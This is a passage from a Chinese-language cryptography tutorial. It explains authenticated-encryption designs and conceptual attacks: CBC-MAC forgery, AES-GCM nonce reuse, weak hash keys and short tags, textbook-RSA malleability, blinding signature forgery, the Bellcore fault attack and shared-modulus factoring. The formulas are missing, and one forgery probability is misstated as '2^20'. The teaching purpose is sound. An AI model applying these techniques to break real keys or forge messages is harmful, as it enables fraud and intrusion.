由此，攻击者就从两个消息-标签对，且不知道密钥的情况下构造出了新的消息-标签对，这意味着攻击者可以伪造CBC-MAC的标签，所以CBC-MAC并不安全 　AE 　AE，Authenticated encryption，即认证加密，这既能实现消息的保密，又能保护消息的真实性，即实现认证。所以一个AE算法既有密码算法的特性又有MAC的特性。要实现AE，如下图所示有三种方式： 　同时加密和MAC(Encrypt-and-MAC,E&M) 　发送方：给定明文P，计算得到密文C=E(K1,P),同时计算得到认证标签T=MAC(K2,P)，发送C,T 　接收方：计算P=D(K1,C)得到P，然后用这个P计算MAC(K2,P),将结果与收到的T比较。如果C或T损坏，认证都会失败。 　这个方案理论上是最不安全的。即使用的是安全的MAC，也有可能从中泄露明文P的信息，因为MAC仅用于确保不可伪造，不能确保随机。除非用的MAC非常强大，比如伪随机函数等。 　SSH使用的就是这种方案，其用的MAC是HMAC-SHA-256,保证了不会泄露P的信息 　先MAC再加密(MAC-then-Encrypt,MtE) 　发送方：首先计算T=MAC(K2,P)来保护消息P,然后加密得到C=E(K1,P||T),这里将明文和标签一起加密，得到密文。发送方发送C 　接收方：解密C，即P||T=D(K1,C)得到P||T,然后通过得到的明文P计算标签MAC(K2,P)，并与得到的T比较，如果符合，则认证成功。 　这种方式隐藏了明文的认证标签，从而防止标签泄露明文中的认证信息。 　在TLS1.3之前，都是使用该方案。 　先加密再MAC(Encrypt-then-MAC,EtM) 　发送方：首先加密得到密文C=E(K1,P),然后计算认证标签T=MAC(K2,C)，将其发送 　接收方：使用MAC(K2,C)计算结果与收到的T比较，若相符，则再计算P=D(K1,C),得到明文。 　这个方案的优势在于：1.接收方只需要计算MAC就可知道信息是否损坏，如果损坏就不需要进一步解密了；2.对于攻击者而言，除非能破解MAC，否则不能同时将C和T发送给接收方获得解密结果，这使得攻击者更难向接收方发送恶意数据 　所以这种方案是三者之间最安全的，IPSec使用了方案 　AES-GCM 　除了如上三种，组成起来实现，也有专门的认证加密算法，其可以表示为 　加密：AE(K,P)=(C,T),K是密钥，P是明文，C是密文，T是身份认证标签 　解密：AD(K,C,T)=P,如果C,T至少有一个无效，则AD会返回错误，而如果返回明文，则可以确保这个明文是被用正确密钥加密过的明文。 　从认证角度看，其功能与MAC一样，这意味着想要伪造AD能接收并解密的密文和标记对(C,T)是不可能的 　从加密角度看，认证加密比普通密码算法更安全，因为它只有在标签有效的情况下才会用密钥进行解密。这可以防止选择密文攻击。 　认证加密算法中目前唯一被承认的正式标准就是AES-GCM,其基于AES算法，采用Galois计数器模式（GCM）实施。其示意图如下 　GCM本质上是对CTR模式的改进，集成了一个小组件计算身份认证标签，其示意如下 　AES-GCM容易受到攻击，包括nonce重放攻击以及由弱哈希密钥、短标签等引发的攻击。 　nonce重放攻击 　这是AES-GCM最大的漏洞。如果用户在两次AES-GCM中使用相同的nonce N,攻击者就可以获得身份认证密钥H,继而可以使用H为任何密文、关联数据伪造标签。 　其基本代数结构如下 　标签T通过下式计算得到： 　上式中的GHASH是一个通用哈希函数，其输入输出线性相关 　此时如果有用相同nonce计算得到的两个标签T1,T2，将其异或可以得到 　可以看到，此时AES的部分就消去了 　然后利用GHASH的线性特性，攻击者就可以确定H，从而拿到身份认证密钥 　弱哈希密钥 　GHASH存在重大缺陷，哈希密钥H的某些取值大大简化了对GCM认证机制的攻击，概括来说，如果H的取值属于某个特定的数学上定义的子群中时，攻击者可以通过仅仅对前一条消息分组进行变换从而猜测出某个消息的身份认证标签T。 　GHASH的内部结构我们这里略去，直接到最后一步，此时有 　GHASH将消息的长度与Xn异或，将结果乘以H，然后将这个值与AES(K,N||0)异或，从而得到身份认证标签T 　这里的漏洞在于，如果H=0,则不论Ci为何值都有Xn=0，与消息无关。这意味着，如果H=0,那么所有的消息都会具有相同的身份认证标签；而如果H=1,那么标签实际上只是密文分组的异或，这样会导致重新排序的密文分组会有相同的身份认证标签。 　当然，除了H=0,H=1之外，当H取其他值时也会发生异常情况。例如基于5阶循环群的例子，设H=10d04d25f93556e69f58ce2f8d035a4,这是一个属于长度为5的循环的，H的取值满足H^5=H，那么对任何5的倍数e，都有 　H^e=H 　那么在前面的Xn的表达式中，交换分组Cn（和H相乘）和分组Cn-4（和H^5相乘）不会改变身份认证标签，这实际上就相当于伪造了。即，攻击者可在不知道密钥的情况下，利用这个属性构造新的消息及其有效认证标签。 　更详细的分析可以阅读论文《Cycling Attacks on GCM, GHASH and Other Polynomial MACs and Hashes》 　短标签 　实际中AES-GCM通常返回128比特的标签，不过它可以生成任意长度的标签，但是长度越小，被伪造的可能性越高。 　使用128比特长度时，伪造成功的概率为1/2^128;但是，由于GCM结构内在缺陷，当长度较短时，伪造的概率要大于 　1/2^n 　比如如果长度为32比特，则成功伪造的概率为1/2^16而不是我们以为的 　1/2^32 　根据Ferguson的论文指出，对于n比特标签，成功伪造概率为2^m/ 　2^n 　其中2^m是攻击者能够获得的对应标签的最长消息的分组数目。 　举个例子，如果使用48比特的标签去处理4GB的消息（2^28个块）, 　那么能够伪造的概率为2^20，这在密码学中是一个很高的概率了。 　更详细的分析可以阅读论文《AuthenticationweaknessesinGCM》 　RSA 　RSA加密算法是一种非对称加密算法，在公开密钥加密和电子商业中被广泛使用。RSA是由罗纳德·李维斯特（Ron Rivest）、阿迪·萨莫尔（Adi Shamir）和伦纳德·阿德曼（Leonard Adleman）在1977年一起提出的.RSA的工作原理就是创建一个被称为陷门置换的数学对象。陷门置换描述的是符合下述性质的函数： 　将数字x变换为同一范围内的数字y，除非知道私钥，否则不能从y计算得到x，这个私钥就称为陷门. 　陷门置换 　陷门置换是RSA的核心。给定模数n和公开指数e，RSA陷门置换将群Zn中的数x通过y= x^e mod n变换为群Zn中的另一个数y。 　在加密时，n和e就是RSA的公钥 　为了能够从y计算出x，则需要另一个数d，通过如下计算得到x 　d就是陷门，也是RSA私钥的一部分，d也被称为秘密指数 　d并不能任意取值，其必须满足 　这样才能得到 　这里需要注意，我们用的是模φ(n)而不是模n 　φ(n)=(p-1)(q-1)，这个数对RSA的安全性至关重要，如果攻击者能从模数n中求出φ(n)，就等价于破解了RSA。这是因为如果知道φ(n)，在计算e模φ(n)的逆，就可以得到d。为此，p和q也应该保密，因为φ(n)可以由其计算得到 　整个RSA的安全级别取决于n的大小、p与q的选择、陷门置换的应用；如果n太小，则容易对其分解，从而泄露私钥；如果p与q太小或者太接近，则容易从n中确定出相应取值；陷门置换不应该被直接用于签名或加密 　陷门置换的误用 　在教科书中的RSA介绍中，通常会看到误用陷门置换的情况，其被直接用于加密或者签名了。即，RSA中的明文只是要加密的消息。这看起来没问题，实际上存在很大的风险。 　加密 　这种教科书式的RSA加密是确定性的，即对同一明文加密两次，得到的密文是相同的。除此之外，更大的问题是，当给定两个密文y1=x1^e mod n和 y2=x2^e mod n时，攻击者可以通过将其相乘，得到明文x1xx2的密文： 　这个结果就是消息x1xx2 mod n对应的密文，这意味着，攻击者可以从两个RSA密文中构造出新的有效密文。这种弱点我们称之为扩展性风险（安全的密码应该确保只有在知道x1,x2时才能得到两者相乘的密文，如果只知道y1，y2是不能够得到的） 　为了使RSA不可扩展，提出了OAEP，其中密文由待加密消息和一些padding组成,他们一起组成了RSA-OAEP。 　OAEP的示意图如下 　图中， n是RSA模数的位数，k0和k1是协议中的固定整数。m是n-k0-k1位长的明文消息，G和H是随机预言，如加密散列函数，⊕是异或运算。 　编码过程包括如下步骤： 用 k1 位长的 0 将消息填充至 n - k0 位的长度。 随机生成 k0 位长的串 r 用 G 将k0 位长的 r 扩展至 n - k0 位长。 X = m00...0 ⊕ G(r) H 将 n - k0 位长的 X 缩短至 k0 位长。 Y = r ⊕ H(X) 输出为 X || Y，在图中 X 为最左边的块，Y 位最右边的块。 　随后可以使用 RSA 加密编码的消息 　解码过程包括如下步骤： 恢复随机串 r 为 Y⊕H(X) 恢复消息 m00...0 为 X ⊕ G(r) 　签名 　教科书中的RSA签名同样是简化过的，通过直接计算y = x^d mod n对消息x进行签名。这虽然简单，便于初学者理解，但是其存在签名被伪造的风险。 　举个最简单的例子，因为有 　0^d mod n=0 　1^d mod n=1 　(n-1)^d mod n = n-1 　那么攻击者一直可以在不知道d的情况下伪造0，1，n-1的签名 　更严重的攻击手段我们称之为盲签名攻击，即消息M不会被受害者主动签名，但是攻击者可以让M被受害者签名。攻击流程如下 　1.攻击者找到某个值R，R^eM mod n是受害者会签名的一条信息，此时得到的签名记做S=(R^eM)^d mod n，现在的问题就是攻击者怎样能得到M的签名，即M^d 　2.推导如下 　且 　所以有 　S=(ReM)^d 　RM^d 　为了得到M^d,将S除R即可 　为了避免这种攻击，提出了RSA概率签名方案PSS,PSS之于RSA签名等同于OAEP之于RSA加密，它能让签名更安全，其流程比较复杂，基本示意图如下 　此外还有更简单的签名方案，即FDH，全域哈希。 　Bellcore攻击 　Bellcore攻击属于错误攻击的一种，其迫使算法的一部分执行不当，产生错误的结果，将其与正确结果相比较，从而获得关于算法内部值的信息。 　Bellcore适用于使用中国剩余定理的确定性的RSA签名方案。 　由相关基础知识，我们有 　其中 　假设攻击者在就按xq时产生错误，得到错误值xq’，继续使用xq‘并得到相应的x’。那么攻击者现在就可以计算正确的签名x和错误的签名x‘的差，并由此分解模数n： 　由上式，x-x'是p的倍数，即p是x-x'的除数，由于p也是n的除数，所以n和x-x'的最大公约数是p，即 　然后就可以计算出q=n/p以及d，从而破解RSA签名 　共享模数n 　我们直接举个例子。 　设攻击者的私钥为(n,d1),受害者的私钥为(n,d2)，受害者公钥为(n,e2),此时攻击者知道n，不知道p和q，所以不能从公开指数e2计算秘密指数d2。那么怎么从d中计算出p和q呢？ 　我们知道d和e满足 　虽然我们不知道d或φ(n)，但是我们可以计算出kφ(n)=ed-1 　根据欧拉定理，对于任何一个与n互素的数a，有a^(φ(n))=1 mod n，所以，对模数n，有下式： 　由于kφ(n)是偶数，所以可以写成2^st,所以可以把 　写成如下形式 　式子中的x可以通过kφ(n)计算得到 　x^2-1=（x-1）(x+1)，这意味 　x^2-1可以被n整除，即x-1或x+1二者必有其一与n有相同的因数，从而可以算出n的因数,从而攻破RSA。 　参考 　1.https://link.springer.com/content/pdf/10.1007%2F0-387-34805-0_39.pdf 　2.《foundations of cryptography》 　3.https://link.springer.com/chapter/10.1007/3-540-68697-5_1 　4.https://eprint.iacr.org/2006/043.pdf 　5.https://link.springer.com/chapter/10.1007/978-3-540-74143-5_2 　6.https://www.cs.ucdavis.edu/~rogaway/papers/ae.pdf 　7.https://link.springer.com/chapter/10.1007/978-3-642-34047-5_13 　8.https://csrc.nist.gov/CSRC/media/Projects/Block-Cipher-Techniques/documents/BCM/Comments/CWC-GCM/Ferguson2.pdf 　9.https://competitions.cr.yp.to/caesar.html 　10.https://www.sciencedirect.com/science/article/abs/pii/S1574013715300290